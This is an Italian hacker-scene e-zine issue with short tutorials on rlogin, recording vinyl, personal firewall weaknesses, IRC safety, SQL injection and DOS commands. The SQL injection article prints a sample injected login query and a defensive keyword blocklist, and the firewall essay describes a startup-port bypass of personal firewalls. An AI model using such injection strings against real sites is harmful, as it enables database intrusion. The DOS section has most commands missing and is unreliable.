] stabilisce che il percorso dei dati di Imput sia sempre di 8 BIT [ -L ] Esegue la sessione in modalità "LITout" in modo da assicurare sempre la compatibilità con la versione precedente.Il modo litout permette 7 bit con la trasmissione dei dati di parità. così facendo tutti i caratteri minuscoli verrano convertiti in maiuscoli [ -l nomeutente ] Specifica il nomeutente che si vuole usare sul sistema remoto. Se quest'ultimo non venisse indicato sarebbe usato in automatico il nome di login corrente. Ecco invece il comando rlogin da usare per loggarsi su server remoti ironman usando il nome di login pscott: rlogin ironman -l pscott Una volta completata la sessione di rlogin bisogna digitare quanto segue su una riga separata per uscire dalla sezione: ~. A questo punto vi starete chiedendo (O FORSE NO) quando viene richiesta una password da rlogin? Se il nome di login specificato nel comando rlogin oppure sull'host su cui si sta lavorando bib vuebe trovato nel file HOSTS.EQUIV i .RHOSTS verrà richiesta una password quando ci si connette con il comando rlogin. QUesta password verrà trasmessa in chiaro su tutta la rete. Ok questo mini tutorial sull'rlogin è giunto al termine :) spero che vi sia piaciuto e sia servito a qualcuno per imparare qualcosa in + o semplicemente a schiarirsi le idee :D buon prox tutorial e arrivederci da: SegFault _______________________________________________________________________________ -e-zine------------n.01--- ________ __________ /_______/| /_________/| | | | | | | | ____|/ |___ __|/ | | |__ | | | | |/___/| | | | | | | | | | |______|/ |__|/ CYBERDUDE TUTORIAL ---------informazionelibera- C'era una volta il 33 giri… e ora? Con Cyberdude tutorial c'è ancora ;) Non badate a tutte le stronzate che dirò in questo articolo ma sto particolarmente esaurito per colpa di quella scuola … vabbè lasciamo perdere e bevutevi sto succo di frutta al 33 giri :P by Cyberdude Ciao ragazzi… tra un po' devo andare a studiare quindi non ho molto tempo da perdere in inutili introduzioni, comunque voglio dirvi che sono molto contento perché ho appena finito di parlare con Lory e mi ha detto che questa sera viene qui!! Che bello!!!! Che dire oggi la giornata è afosa, nonostante siamo appena agli inizi di maggio sembra di essere gia in estate piena sto sudando esagerattamente e non ho molta voglia di studiare, ma che ci vogliamo fare, la vita va così… nelle orecchie ho Pino Daniele con una delle sue più belle canzoni: Quann chiove, e penso che dovo ascolterò Napule è! Vabbè vogliamo vedere di cosa parleremo in questo articolo? Si dai… comincio col dire che questo articolo va letto da chi dispone di un PC con 64 MB di memoria ram, 20 MB di spazio libero per l'installazione del programma e 100 MB di spazio libero per lavorare con i campioni audio. Ovviamente dovete disporre di Windows 98, di una scheda audio discreta e di un paio di speaker. Detto ciò se siete compatibili alle condizioni date vi spiego cosa faremo: quanti di voi sentono la nostalgia delle vecchie canzoni ascolate sui 33 giri? per i nostalgici dei 33 giri svelerò in questo articolo come fare a registrare i vecchi dischi in vinile sul proprio PC utilizzando Cool Edit 2000. Questo software permette infatti, di manipolare in modo avanzato la musica ed i campioni sonori, proprio come se il vostro PC fosse uno studio di registrazione digitale dei più avanzati. Dotarsi di un apposito cavo per collegare il PC (tramite la scheda audio) al lettore di dischi in vinile. Tale cavo avrà all'estremità un jack "piccolo" maschio (misuura 3,5 mm) e un doppino RCA, facilmente riconoscibile dai colori rosso e bianco, che indicano i canali destro e sinistro. Il costo di questo accessorio si aggira intorno ai 7.50 Euro. A questo punto andiamo ad individuare l'ingresso della scheda audio che montata internamente al PC, mostra, sul retro, il pannello delle connessioni. Normalmente la scheda audio presente uno/due ingressi (LINE IN e MIC IN): il cavo che collega il lettore 33 giri deve essere inserito in uno di questi due, preferibilmente su "LINE IN" se questo è disponibile. Viceversa, il lettore di dischi in vinile, presenterà sul suo pannello un ingresso femmina per il doppino RCA. Si tratta di una connessione standard per gli apparecchi Hi-Fi. Se il vostro giradischi è collegato ad un impianto stereo, bisognerà scollegare il cavetto e collegarlo all'ingresso della scheda audio… chiaro? Prima di procedere con il collegamento bisogna seguire alcune regole. Innanzitutto occorre spegnere il PC ed inoltre bisogna evitare di utilizzare un cavo troppo lungo: l'eccessiva lunghezza del filo (oltre i 10 metri) causa dispersioni del segnale audio e deteriora la qualità delle canzoni che andremo a registrare. Assicuriamoci che il collegamento sia riuscito; apriamo il mixer della scheda audio (cliccando sull'icona dello speaker in basso a destra sulla taskbar) e regoliamo il livello di ascolto di "LINE IN". Per evitare interferenze, è buona norma disattivare le altre periferiche di input (cd, midi, microfono) spuntando l'apposito riquadro. Ok a questo punto dal mixer della scheda audio clicchiamo su Opzioni/Proprietà per aprire i controlli di registrazione. Selezioniamo, spuntando l'apposita casella, la sorgente da cui la scheda audio dovrà acquisire la musica (ovviamente LINE IN) e regolarne il volume all'incirca a metà. Un volume alto può causare la distorsione del segnale. A questo punto scaricate il programma che ci serve, Cool Edit 2000 v1.1 , questo permette di registrare, ascoltare, mixare, modificare e convertire files audio in numerosi formati (WAV, SND, PCM, RealAudio, IFF, MP3, ecc.). Dotato di plugin che lo rendono ricco di funzionalia' occupa 8,24 MB e lo potete prelevare all'indrizzo http://www.xdownload.it/goto.asp?idl=136 … se poi hanno cambiato l'indirizzo basta che andate su google e scrivete download Cool Edit 2000 v1.1 tutto qui, facile no? A questo punto per verificare se il collegamento é ok, lanciamo Cool Edit 2000 e attiviamo il tasto F10 per visualizzare il Monitor Rec Level. Facciamo partire il disco; noteremo i canali left e right oscillare ripetutamente a suon di musica. La scala dei volumi è riportata in decibel. Al termine premiamo F10 per disattivare la funzione. Clicchiamo sul tasto REC (identificato da un pallino di colore rosso) e specifichiamo il formato del file audio. Per creare dei file da masterizzare su CD occorre selezionare Sample Rate 44.100 Hz, Resolution 16-bit, Channels Stereo; questo formato in genere occupa 10-12 megabyte per ogni singolo minuto di canzone. Bene bene, adesso siamo pronti per registrare il nostro disco in vinile… basta solo avviare la riproduzione dal giradischi mentre Cool Edit registra e tiene il tempo dei minuti trascorsi sulla timeline. In basso a destra trovate, aggiornato in tempo reale, lo spazio libero che dell'hard-disk, che diminuisce man mano che registriamo la musica… Ascoltando la registrazione, si nota che il volume è molto basso mentre la forma d'onda si vede appena sullo schermo. L'operazione da fare, per portare ad un livello di volume standard la registrazione, si chiama "normalizzazione". Premiamo Ctrl+A per selezionare il segnale audio in modo che il processo venga applicato all'intero brano. Andate poi su Transform/Amplitude/Normalize per applicare la normalizzazione, usando come valore percentuale "100%" (se lavorate in decibel dovrete usare 0 dB). Così facendo la musica verrà portata ad un'ampiezza di volume standard. In genere si tratta di un'operazione che ruba 10-20 secondi al massimo… tutto chiaro? Mi fa piacere per voi!! ;) Ma attenzione, il vinile presenta molti piccoli difetti come i fastidiosi "click" dovuti alla polvere sul disco e alle imperfezioni della puntina, il fruscio costante di fondo, fischi e rumori di vario genere. Tutte queste imperfezioni a volte sono anche visibili in forma di "picchi improvvisi" di segnale… per correggere questo problemino andiamoci a scaricare Cool Edit Audio Cleanup Plug-in 1.0 all'indirizzo: http://download.com.com/redir?pid=1488977&merid=50529&mfgid=50529&edId=3&siteId= 4&oId=3002-20- 1488977&ontId=20<ype=dl_dlnow&lop=link&destUrl=http%3A%2F%2Fftp.syntrillium.co m%2Fpub%2Fcool_edit%2Fce2knr.exe e come al solito se questo indirizzo non è più valido andate a cercare il nome del file su un qualsiasi motore di ricerca e lo scaricate!! Chiaro? Caspita sono passati tre giorni e tre notti e io sto ancora qui a scrivere questo articolo, intanto domani tengo pure l'interrogazione di inglese e invece di ripetermi le frasi (che ne avrei molto bisogno) sto avanti al computer!! Ma che ci vogliamo fare, la voglia di studiare non c'è… dopotutto siamo pure al sette di maggio!! Hihihi vabbè si riprende l'articolo, dove eravamo rimasti? Ah si!!! A Cool Edit Audio Cleanup Plug-in 1.0! vabbè scaricatelo e usatelo ;) Naturalmente a questo punto saremo anche in grado di eliminare alcuni strusci e problemini dovuti a polvere e graffi sul nostro 33 giri. Il filtro che si apre cliccando su Transform/Noise Reduction/Click Eliminator serve a cancellare (o quanto meno ad attenuare) i disturbi dovuti a polvere e graffi sul vinile. Il menù del filtro presenta quattro tipi di presets (sulla destra) già pronti all'uso: sceglietene uno e applicatelo premendo OK. Se desiderate invece un livello di pulizia personalizzato per la canzone in uso, potete far calcolare tutti i valori necessari usando il bottone Auto Find All Levels. Al termine dei calcoli cliccate ancora una volta su OK per confermare. Quali altri prroblemi riscontriamo a questopunto? Il fruscio vero? È una delle cose che non ho mai potuto sopportare, ma non preoccupatevi perché anche questo è abbastanza semplice da eliminare, per farlo apriamo la voce Hiss Reduction dal menu Transform/Noise Reduction. Utilizziamo uno dei tre presets (high, light, standard) o calcoliamo il livello di fruscio usando il pulsante Get Noise Floor. Per applicare il filtro clicchiamo su OK, tale operazione dura pochi minuti… Inoltre aggiungo che il filtro disponibile in Audio Clean-up permette di ridurre i rumori di fondo, della massa e del fruscio. Portiamoci su Transform/Noise Reduction/Noise Reduction, e selezioniamo su Get Profile from Selection. La precisione di questo filtro può essere regolata utilizzando la barra Noise Reduction Level. A questo punto il lungo e stremante lavoro è terminato ihihihi adesso potete : a. Masterizzarlo su CD >> quindi salvatelo come WAV b. Mantenerlo sull' hard disk >> quindi salvatelo come MP3 oppure come Real Audio G2 c. Non c'è nessun'altra opzione possibile se non chiudere e non salvare niente :PP Anche questo interessantissimo e ci tengo a precisarlo … interessantissimo articolo è giunto al termine ma vi aspetto comunque al prossimo articolo ciao ragazzi! Mandatemi le vostre considerazioni, le critiche i commetni all'indirizzo cyberdudemail@libero.it Adesso vi lascio alcuni dati grazie ai quali potete raggiungere la crew di informazionelibera Ci trovate su IRC alle seguenti coordinate ~ server : net36.azzurranet.org ~ porta : 6668 ~ canale : #informazionelibera ~ Sito : www.informazionelibera.cjb.net -------------------------------------------------------------------------------- Firewall, cosa sono e a chi servono? (Se vi interessa sapere solo se vi conviene avere un personal firewall anche se avete un 56k, saltate al capitolo che inizia per "Ok, dopo aver fatto una panoramica") I Firewall per definizione sono dei "muri di fuoco" che vengono eretti fra il nostro computer e le reti, che siano internet o lan non fa differenza. Questi muri vengono eretti per proteggere il computer da eventuali estranei che cercano di farci qualche scherzetto, da pacchetti inutili (come ping da parte di un nostro amico che gioca, pacchetti non indirizzati a noi etc...), per evitare che qualche software "maligno" che si e' appena installato sul computer inizi a mandare/ricevere segnali da chiunque e anche verso la rete (vi ricordate nimda? la prima cosa che faceva era intasare la rete) e soprattutto (a mia vista) tenere un log di tutte le transazioni e le relative porte di transito. I Firewall generalmente sono computer, scatolette o simili dedicati a fare questo lavoro (c'e' chi preferisce non lasciare "morta" la macchina del firewall mettendoci altri servizi come un server web o simili... Ma un firewall e' sicuro solo se fa da firewall, IMHO), in genere collegati come ponte (in modo trasparente) fra due reti (ancora piu' generalmente fra internet e la rete locale/computer). Di tipologie di firewall ce ne sono tantissime, come il firewall con DMZ (zona demilitarizzta), il firewall "diretto", il firewall bridge (con 3 e piu' schede di rete), e tante altre possibili soluzioni, ogniuna piu' o meno adatta a tutte le esigenze. Da qualche anno a questa parte, han preso piede i firewal "personali", dei software da installare sul proprio computer e che ci promettono di "tenere al sicuro il nostro computer da attacchi informatici" (e spesso anche da virus). Devo ammettere che la "pubblicita'" fatta a questi firewall personali e' un po' pomposa, benche' sopperiscano al propio lavoro anche egreggiamente, soffrono di diversi problemini non tanto trascurabbili, come ad esempio Zone Allarm (sia pro che no), uno dei migliori a mio avviso, ma come tutti i personal firewall e' un software che viene lanciato a sistema operativo attivo, questo crea una falla nella sicurezza, quale? Semplice! (come tutto del resto :P ) Molti firewall, come il su citato Zone Allarm, hanno un sistema di "sicurezza e compatibilita'" verso il sistema operativo (in pratica una "regola"), che se quando vengono eseguiti trovano una porta di rete (o una serie) bloccata da una richiesta o utilizzata da una comunicazione (come ad esempio una macchina aziendale che chiede il logon al master della rete), non prendono possesso della porta (o della serie) fino a quando la precedente richiesta/comunicazione non cade/finisce. Cosa significa questo? Tempo fa ne abbiamo avuto un esempio pratico, ora vedro' di spiegarvelo. Mettiamo che scriva un programmino client che mi permette di comunicare tramite una porta qualsiasi, tipo la 1234, con un altro mio programmino server, e mettiamo pure che scrivo il programmino client in modo tale che quando viene installato si posiziona nella sequenza di startup fra i primi programmi/servizi che vengono eseguiti ed apra subito la connessione con il programmino server, cosa succedera' non appena verra' eseguito il firewall? Nulla! Il firewall vedendo la porta 1234 bloccata o in comunicazione con il programmino server, semplicemente la SALTERA' non proteggendola, rendendo cosi' il computer vulnerabile su quella porta (d'altra parte "l'attacco" e' gia' iniziato prima che il comuter finisse di eseguire lesecuzione del sistema operativo). Questo problema su citato e' un problema sofferto da praticamente la magioranza dei firewall personali, i pochi che non ne soffrono utilizzano (nella maggior parte dei casi) un sistema "poco ortodosso" del far cadere ad ogni costo qualsiasi connessione, per poi prenderne possesso e proteggerle. Volendo e' come l'uovo di colombo, si elimina il problema prima citato, ma questo arreca altri problemi, come la perdita temporanea della connessione (magari proprio quando avevi digitato la password di 32 caratteri e numeri per accedere alla rete locale o fare il logon, oppure facendo perdere al computer stesso la connessione tcp fra i propri servizi). Un altro problema molto rilevante da conoscere sui personal firewall riguarda un lato prettamente sistemistico e funzionale. Essendo dei firewall che vengono eseguito sulla macchina stessa e non su porzioni di reti, si viene a generare un fastidioso quanto a volte irreparabile problema, vengono filtrate anche le porte e le richieste LOCALI del computer stesso! Cosa significa questo? Quanti di voi sanno cosa fa una MMC quando si collega al servizio? Come comunica windows con i propri servizi di rete? etc... Tramite porte/comunicazioni sul e verso computer locale! E cosa succede se il firewall che ci siamo apprestati ad installare tanto giovialmente iniziasse a bloccare queste porte/comunicazioni? Il disastro! Grazie al sistema in cui e' stato programmato windows, si puo' arrivare anche alla morte totale ed irreversibile (nemmeno reinstallandolo!) del servizio stesso! Si la morte del servizio, come nel caso dei servizi web, ftp, smtp ed iisadmin di windows, se il firewall vi blocca le comunicazioni di amministrazione (tipo quando lanciate la MMC dei servizi web per andare a fare delle modifiche e vi compare la scritta "il servizio non risponde" o simile) e non siete particolarmente fortunati, riceverete un errore e il servizio smettera' di funzionare come per magia... Smettera' di funzionare per due motivi fondamentali, il primo per sicurezza, se il servizio non riesce a comunicare con se stesso, per il sistema operativo vuol dire che il servizio non funziona e percio' viene disabilitato, se il servizio non riesce a comunicare con il suo sistema di amministrazione, per il sistema operativo vuol dire che ci possono essere problemi sulla sicurezza e il servizio viene disabilitato. Ci sono anche altri casi, ma questi due come esempi possono bastare... La cosa che fa' rabbrividire di piu', e che purtroppo mi e' capitata personalmente diverse volte e tutte in modo irreversibile, sono i servizi che MUOIONO quando il firewall blocca loro la possibilita' di comunicare con se stessi/sistema di amministrazione anche una sola volta! Come pensavo pure io prima di passarci, credevo che un bel disinstalla sia al firewall (o anche una configurazione migliore dello stesso) che del servizio con tutti i fronzoli allegati, ed una bella reinstallazione dei servizi precedentemente morti risolvesse la situazione... Purtroppo non e' sempre cosi'! Quando w3csvc, ftpsrv, iisadmin e smtpsrv muoiono, lo fanno in maniera definitiva! Reinstallarli, rimettere il service pack o molti altri espedienti da me provati sono stati del tutto vani! Il servizio rimaneva morto! Ok, dopo aver fatto una panoramica sul quanto possono essere negativi i firewall personali, spendiamo qualche parola nel tentativo di riabbilitarli. Fondamentalmente i firewall personali non sono negativi come non sono per tutti, per poterli usare in modo "proficuo" o quasi, bisogna avere almeno idea di cosa si fa, cosa si blocca e in che verso (se un servizio puo' comunicare verso l'esterno, puo' essere solo chiamato o nessuna o tutte e due le direzioni), cosa significa e perche' spesso ci sono degli allert come se qualcuno cercasse di entrare nel nostro computer, che porte lasciare attive, come fare quando un programma prima funzionava completamente ed ora va solo in parte (come i programmi di irc e chat in genere che non si collegano piu' direttamente o non fanno + determinate cose come il trasferimento file) e tante altre cose, che fondamentalmente sono semplici, ma se non si sa cosa si fa, lo si lascia con le impostazioni base e non si "perde" il tempo che ci vuole per configurarlo, e' come non avere un firewall o peggio il firewall diventa un come un grosso peso che non vedete l'ora di togliere perche' non funziona nulla come prima! Il computer/la connessione ad internet puo' sembrarvi (falsamente) piu' lenta, servizi che prima funzionavano senza problemi ora sembrano proprio non andare, fate i salti mortali per ricevere/mandare un file ad un amico con i messenger, le chat vocali/video non vanno e tante altre belle cosine come queste... E qui scatta quasi automaticamente la domanda, che sembra quasi una credenza popolare, "ma se io ho solo un 56k/non ho una connessione perenne/non ho un ip fisso il firewall mi serve???" La risposta e' tanto semplice quanto puo' trarre in inganno, si il firewall serve se volete evitare vari problemi, volete evitare che il vostro amico su irc inizi a mandarvi pacchetti inutili (non file) e vi faccia cadre da internet o vi rallenti, che i siti che cercano di stabilire connessioni "nascoste" per controllarvi o per mandarvi qualcosa, per evitare che il pirla di turno a cui avete pestato un callo non dicendogli quello che voleva sapere vi entri nel comuter (se ne e' capace...), per evitare che qualche spyware, virus o simile inizi a mandare dati su internet come un rubinetto che perde (questo dipende sempre dallo spyware/virus e da come e' fatto e comunica, e' sempre meglio non averli :P), volete evitare che qualcuno si passi il tempo a farvi uno scan delle porte rallentandovi e tante altre belle cosine, si conviene avere un firewall anche peronale! E se qui mi conoscete anche solo un po' scatta la seconda domanda "E allora tu perche non hai un firewall???" Non e' vero, almeno non completamente... In genere non ho un firewall solo perche' non voglio limitazioni e mi proteggo in altri modi (tipo configurare come si deve il sistema, bloccare tutti i servizi inutili/non fondamentali etc...), ma e' anche vero che spesso mi passo il tempo a provare qualche firewall giusto per capire com'e' e se mi conviene averlo e quanto sia utile. In sostanza sono convinto che un firewall sia utile, ma solo se lo si configura e il firewall stesso non mi blocca la possibilita' di fare quello che voglio come lo facevo prima (si intende configurandolo come si deve). Percio', se avete un 56k, una adsl senza ip fisso o qualsiasi altra connessione, un firewall puo' sempre essere comodo averlo, ma mettete subito conto che avrete delle limitazioni che prima non avevate, specialmente se non lo configurate come si deve! Con questo concludo e vi lascio con una perla: E' meglio essere protetti e perdere parte della propria liberta' o essere liberi veramente e correre il rischio per essere liberi? Questo dipende solo da voi... Ciao ;^)= RedFoxy A fox around web Power at fox for a yiffing world! -------------------------------------------------------------------------------- ========== ========== Irc (Internet Relay Chat) e' il protocollo con cui si puo' "chattare" in rete. "Chattare" significa chiacchierare - con amici o perfetti sconosciuti - su canali pubblici o chat room private. I client, ovvero i programmi che usiamo per chattare, sono moltissimi, sia grafici che testuali. Le chat Irc non sono pericolose, ma possono essere utilizzate, se giriamo su canali "strani" e senza protezioni adeguate - per raccogliere informazioni sulla nostra connessione e sul nostro Pc ed effettuare poi attacchi; questa fase viene definita "information gathering" ed e' il primo passo per sferrare un attacco verso un obiettivo definito. Irc e' un protocollo aperto, essendo uno dei primi nati; questo, dal punto di vista della sicurezza, comporta alcune falle. Alcuni nostri dati come il nickname (il soprannome che usiamo) e soprattutto il nostro indirizzo Ip sono pubblici e disponibili a tutti gli utenti Irc. In secondo luogo tutte le nostre conversazioni avvengono in chiaro (senza cifratura di alcun genere). Queste informazioni permettono a eventuali malintenzionati di usare questi dati a loro beneficio. Il fatto di conoscere il nostro Ip mette nelle loro mani una importante risorsa con la quale compiere una serie di attacchi (smurf, nuke, flood, click). Quanto sono potenzialmente pericolosi questi attacchi? Normalmente poco, molti ci disconnettono dal server Irc a cui siamo collegati, interrompendo le nostre conversazioni (click), altri posso disconnetterci dal nostro provider (flood, che funziona inviando un enorme volume di informazioni al nostro modem), o causarci qualche guaio al Pc costringendoci a riavviarlo (nuke). Lo smurf, infine, e' un attacco distribuito, tipo Ddos (Distributed Denial of Service), con il quale il nostro indirizzo Ip riceve invii di dati da piu' Ip "attaccanti". ========= Per proteggerci da questi inconvenienti possiamo usare un firewall di tipo software, senza andare incontro a spese ingenti per strumenti piu' avanzati, quali firewall hardware o sistemi Unix Bsd. Un Firewall software e' un programma il quale, sostanzialmente, filtra i dati che arrivano al nostro Pc, bloccando le connessioni non autorizzate (o le richieste "strane") al nostro computer. Uno dei migliori Firewall gratuiti e' Zone Alarm. Zone Alarm ha il vantaggio di essere molto facile da configurare e di riuscire, con pochi comandi, a metterci al sicuro dalla maggior parte degli attacchi. Piu' in generale, connettendosi alle chat, vale la pena di seguire alcune regole generali di comportamento, cosi'da evitare qualunque tipo di problema: 1) diffidare degli sconosciuti, ovvero controllare sempre l'identita' dei nostri interlocutori 2) evitare di accedere a server untrusted, cioe' "non fidati", sconosciuti 3) quando entriamo in un canale spesso la gente prova a inviarci dei file, che spesso contengono o sono (anche se mascherati con titoli "seducenti" quali Marina_La_Rosa.vbs o .exe) virus o trojan, cioe' piccoli programmi che possono prendere possesso del nostro Pc ed accedere a tutti i dati presenti sul disco rigido 4) usare un firewall, software o hardware: software per l'utente home, hardware per le connessioni dall'azienda (qualora l'uso di Irc sia autorizzato dall'azienda stessa). E con questo ho concluso.La prossima volta invece vi parlerò del "Lamer" e delle sue caratteristiche specifiche. Mi raccomando!Seguite i miei consigli così da poter chattare essendo sicuri di quello che fate. ========== -e-zine------------n.01--- ________ __________ /_______/| /_________/| | | | | | | | ____|/ |___ __|/ | | |__ | | | | |/___/| | | | | | | | | | |______|/ |__|/ CYBERDUDE TUTORIAL ---------informazionelibera- SQL Injection … cos'è e come si fa e come ci proteggiamo Ciao a tutti qui è cyberdude che parla… di cosa parleremo oggi? Beh vi sembrerà strano ma in questo articolo mi sono dedicato alla sicurezza!! Vediamo un po' l'argomento, potreste denominarlo così : sql injection ; cos'è? a cosa serve? Vediamolo insieme. Naturalmente prima di proseguire vorrei dichiarare che questo articolo è da ritenersi a puro scopo informativo chiaro? ;) detto questo diamoci dentro. In generale, il SQL Injection è una procedura tramite la quale il nostro individuo X riesce ad fare ciò che vuole sul database, intendo leggere, modificare e cancellare qualunque dato sia presente nel vostro database. Se poi il cracker agisce su Microsoft SQL Server, i pericoli sono ancora maggiori. Basti pensare a cosa potrebbe fare una volta acquisiti i permessi di amministratore… chiaro? Beh direi che il concetto fino a questo punto non risulta molto impegnativo vero? Ma fate attenzione adesso, il SQL Injection prevede l'inserimento di istruzioni SQL nella query di interrogazione del database. Più banalmente potrei portarvi l'esempio i nome utente e password . Il nostro signor X può inserire qualsiasi istruzione SQL nel primo campo semplicemente scrivendo: 'comando.In questo modo, l'apostrofo (') segna la fine della stringa. Di seguito vi metto a confronto due query che potrebbero venire fuori dalla tecnica precedente: la prima è quella corretta, la seconda è quella contraffatta: 1) SELECT * FROM utenti WHERE nome = 'minifloppy' AND password = 'webmaster' 2) SELECT * FROM utenti WHERE nome = '';query contraffatta--AND password = 'webmaster' Pensate che in alcuni database è ancora più semplice per un cracker bucare l'entrata, se nel form viene richiesto un valore numerico. A questo punto basterà semplicemente inserire la query contraffatta. Adesso voi vi chiederete: come faccio allora io a tutelare il mio database? A dire il vero ci sono 3 ipotesi che potete seguire … 1) cercare di far diventare l'input corretto; 2) non accettare un input che è stato riconosciuto come non corretto; 3) accettare solo input corretti. Ma se mi permettete di dire la mia, vi consiglierei di seguire il consiglio di uno scemo e procedere quindi a scartare direttamente la prima ipotesi… perché modificando l'input potremmo incorrere in molti problemi, come riconoscere l'input scorretto, soprattutto perchè di input scorretti ne vengono scoperti in ogni momento di nuovi. Inoltre, la modifica protrebbe alterare la lunghezza ed il contenuto. La seconda possibbilità presenta gli stessi problemi della prima, quindi l'unica soluzione utilizzabile in modo sicuro sembra essere la terza. Adesso qui di seguito vi porto alcuni esempio per spiegare meglio la situazione ok? LISTATO 1 >>> cercare di far diventare l'input corretto <% 'Esempio n.1 'Facciamo diventare corretto l'input sostituendo l'apostrofo con altri due function controlla(input) input = replace(input, "'", "''") controlla = input end function %> LISTATO 2 >>> non accettare un input che è stato riconosciuto come non corretto <% 'Esempio n.2 'Controlliamo che l'input sia corretto function controlla2(input) aScorretto = array( "select", "insert", "update", "delete", "drop", "--", "'" ) controlla2 = true for i = lbound(aScorretto) to ubound(aScorretto) if ( instr( 1, input, aScorretto(i), vbtextcompare ) <> 0 ) then controlla2 = false exit function end if next end function %> LISTATO 3 >>> accettare solo input corretti <% 'Esempio n.3 'Accettiamo solo l'input corretto function controlla3(input) strChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" controlla3 = true for i = 1 to len(input) c = mid( input, i, 1 ) if ( InStr( strChars, c ) = 0 ) then controlla3 = false exit function end if next end function %> E con questi 3 esempi ci mettiamo un bel punto!! Saluto tutti i lettori di questa e-zine e vi do appuntamento al prossimo articolo CYBERDUDE ------------------------------------------------------------------------------- ----------------------- #Comandi princiapli dos# ------------------------ Legenda < > tra maggiore e minore ci sono i comandi che vanno scritti sul prompt (maggiore e minore non vanno inseriti sono solo per mettere in evidenza il comando nell'articolo) <' '> gli apici non appartengono al comando sono inseriti per distinguere il comando dai vari attributi quindi se nell'articolo troverete in realta nel dos dovrete battere dove ciao è il nome della directory Ormai sempre di più gli utenti di un computer sono abituati alla facilità dei sistemi come windows e non hanno mai avuto a che fare con il dos. Certo quella schermata nera e il cursore che lampeggia incutono un po timore a chi ah avuto sempre a che fare con le belle iconcine e la grafica strabiliante; proprio per questo volgio parlare dei principali comandi del dos che ci permettono di svolgere le normali operazioni che facciamo con windows.Una volta lanciato il dos (o il promt dei comandi) ci compariranno i segunti caratteri: "c:/> _" c indica che siamo nel disco c per cambiare disco o per andare sul floppy o sul lettore cd basta scrivere per esempio "B:" dove b è la lettera che indica il drive a cui accedere. Prima di cominciare a vedere i comandi veri e propri mi sembra opportuno spiegare la differenza tra comandi "interni" e comandi "esterni".I comandi interni sono i comandi per la gestioni dei file e vengono messi a disposizioni direttamente da command.com che non è residente in memoria e quindi i comandi potranno essere richiamati in qualunque momento. I comandi esterni sono quelli che sono memorizzati sul disco fisso e saranno più lenti da eseguire perchè dovranno essere caricati prima nella memoria RAM . Dopo questa differenzazione sui comandi cominciamo a vederne qualcuno : - aprirà l'help del dos dove potremo trovare la giusta sintassi dei vari comandi elencati - < CD 'directory'> serve per spostarsi da una directory all'altra ,se per esempio volessimo andare nella directory "hack" dovremmo digitare - istruzione per copiare un file , mettiamo che dovessimo copiare il file ciao.txt dentro la cartella saluti la sintassi sarebbe ,se invece dovessimo copiare un file su un floppy scriveremmo - cancella un file ,se volessimo cancellare tutti i file di una directory digiteremo (lo stesso discorso vale per copy se volessimo copiare tutti i file di una cartella ad un'altra digiteremo ) e se invece volessimo cancellare tutti i file di una cartella che hanno una certa estenzione digiteremo (stessa cosa per copy) - crea una directory - mostra tutti i file presenti in una directory , se i file sono tanti e non riusciamo a visualizzarli tutti in una sola schermata bisogna digitare o così da visualizzare i file un po' per volta - pulisce lo schermo -